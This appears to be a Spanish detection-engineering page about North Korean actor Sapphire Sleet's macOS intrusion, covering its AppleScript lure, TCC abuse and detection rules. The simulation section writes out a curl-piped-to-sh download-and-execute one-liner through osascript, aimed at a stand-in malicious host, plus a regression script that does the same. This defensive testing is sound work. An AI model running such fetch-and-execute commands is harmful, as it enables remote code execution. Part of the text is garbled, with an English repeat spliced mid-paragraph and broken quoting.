Disecando la intrusión de macOS por parte de Sapphire Sleet desde la atracción hasta el compromiso
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Microsoft Threat Intelligence ha informado sobre una campaña enfocada en macOS atribuida al actor estatal norcoreano Sapphire Sleet. La operación se basa en ingeniería social para persuadir a los objetivos de ejecutar archivos maliciosos de AppleScript presentados como una actualización legítima del SDK de Zoom. Una vez ejecutado, el script recupera cargas útiles adicionales a través de curl and osascript, expandiendo la intrusión en múltiples etapas. El malware está diseñado para robar credenciales, datos de billeteras de criptomonedas y otra información sensible mientras también evade las protecciones de seguridad nativas de macOS para permanecer activo en los sistemas comprometidos.
Investigación
La investigación describe una cadena de infección de múltiples etapas que comienza con un .scpt archivo de señuelo y continúa a través de una secuencia de curldescargas de cargas útiles. Los investigadores identificaron varios componentes de puerta trasera, incluidososascript -a- com.apple.cli, un binario de servicios, icloudz, y com.google.chromes.updaters. Los actores de la amenaza también fueron observados manipulando la base de datos TCC de macOS para obtener permisos de AppleEvents, usando técnicas de carga de código reflectante, y estableciendo persistencia a través de un demonio de lanzamiento. La actividad de exfiltración dependía de cadenas de agentes de usuario personalizadas y comunicaciones a través de la API de Telegram Bot.
Mitigación
Apple ya ha lanzado actualizaciones de Safe Browsing y XProtect para interrumpir la infraestructura de la campaña y los componentes de malware. Microsoft recomienda bloquear la ejecución de .scpt archivos, restringir curl pipelines no seguros, monitorear cambios no autorizados en la base de datos TCC, y auditar las instalaciones de demonios de lanzamiento en busca de entradas sospechosas. También se debe advertir a los usuarios sobre los mensajes no solicitados de actualización de software y aconsejarles que no proporcionen credenciales a través de diálogos o scripts inesperados.
Respuesta
Los defensores deben detectar la ejecución maliciosa de AppleScript, cadenas de agentes de usuario anormales, y conexiones salientes a dominios de comando y control conocidos. Cualquier binario identificado y demonio de lanzamiento debe ser puesto en cuarentena o eliminado inmediatamente, seguido por restablecimientos de credenciales para los usuarios afectados y la validación de la integridad de la base de datos TCC. Los respondedores de incidentes también deberían realizar un análisis forense en los artefactos del sistema recolectados y restaurar los datos afectados de copias de seguridad limpias cuando sea necesario. curl user-agent strings, and outbound connections to known command-and-control domains. Any identified binaries and launch daemons should be quarantined or removed immediately, followed by credential resets for affected users and validation of TCC database integrity. Incident responders should also perform forensic analysis on collected system artifacts and restore impacted data from clean backups wherever necessary.
Flujo de Ataque
Detecciones
Posibles Comunicaciones C2 a Través de HTTP a IP Directa con Puerto Inusual (via proxy)
Ver
Posible Ejecución Mediante El Uso de chmod y nohup en un Solo Comando (via cmdline)
Ver
Validación de Credenciales de MacOS via Dscl Authonly (via cmdline)
Ver
Intento de Ejecución Sospechosa de Curl [MacOS] (via cmdline)
Ver
Se Creó un Archivo en la Carpeta Temporal de MacOS (via file_event)
Ver
Se Establecieron Permisos Peligrosos para un Binario/Script/Carpeta (via cmdline)
Ver
IOCs (HashSha256) para detectar: Disecando la intrusión de Sapphire Sleet en macOS desde señuelo hasta compromiso
Ver
IOCs (SourceIP) para detectar: Disecando la intrusión de Sapphire Sleet en macOS desde señuelo hasta compromiso
Ver
IOCs (DestinationIP) para detectar: Disecando la intrusión de Sapphire Sleet en macOS desde señuelo hasta compromiso
Ver
Detección de Comunicación C2 de Sapphire Sleet [Conexión de Red de Linux]
Ver
Detección de Ejecución de AppleScript con Tubería Curl en macOS [Creación de Proceso de Linux]
Ver
Ejecución de Simulación
Prerequisito: El Check de Telemetría y Línea de Base Previa debe haber pasado.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa de Ataque y Comandos:
Un adversario ha obtenido un script malicioso al estilo de PowerShell alojado en un servidor remoto. Para evitar crear un binario independiente, aprovechan el intérprete nativo de AppleScript (osascript) y dirigen unacurldescarga directamente al intérprete, logrando una «descarga-ejecución» en un solo comando. Esto coincide con el patrón delosascript+curlde la regla.# Línea única maliciosa que debería activar la regla osascript -e 'do shell script "curl -s https://malicious.example.com/payload.sh | sh"'La línea de comando contiene tanto
osascriptandcurl, por lo que la condición de la regla Sigma (selección_osascript y selección_curl) evalúa como verdadera. -
Script de Prueba de Regresión:
# simulate_osascript_curl.sh # Propósito: Reproducir la telemetría exacta que debería activar la regla de detección. set -e # Define una carga inocua por seguridad (eco en lugar de código malicioso real) MALICIOUS_URL="https://example.com/benign_payload.sh" # Crear una carga inocua que solo imprime un mensaje. # En una prueba real de equipo rojo alojarías un script real; aquí lo mantenemos seguro. curl -s -o /tmp/benign_payload.sh "$MALICIOUS_URL" || true # Ejecutar el AppleScript con curl canalizado en un comando de shell. osascript -e "do shell script "curl -s $MALICIOUS_URL | sh"" -
Comandos de Limpieza:
# cleanup_osascript_curl.sh # Eliminar cualquier archivo temporal y terminar procesos errantes. rm -f /tmp/benign_payload.sh pkill -f "osascript -e"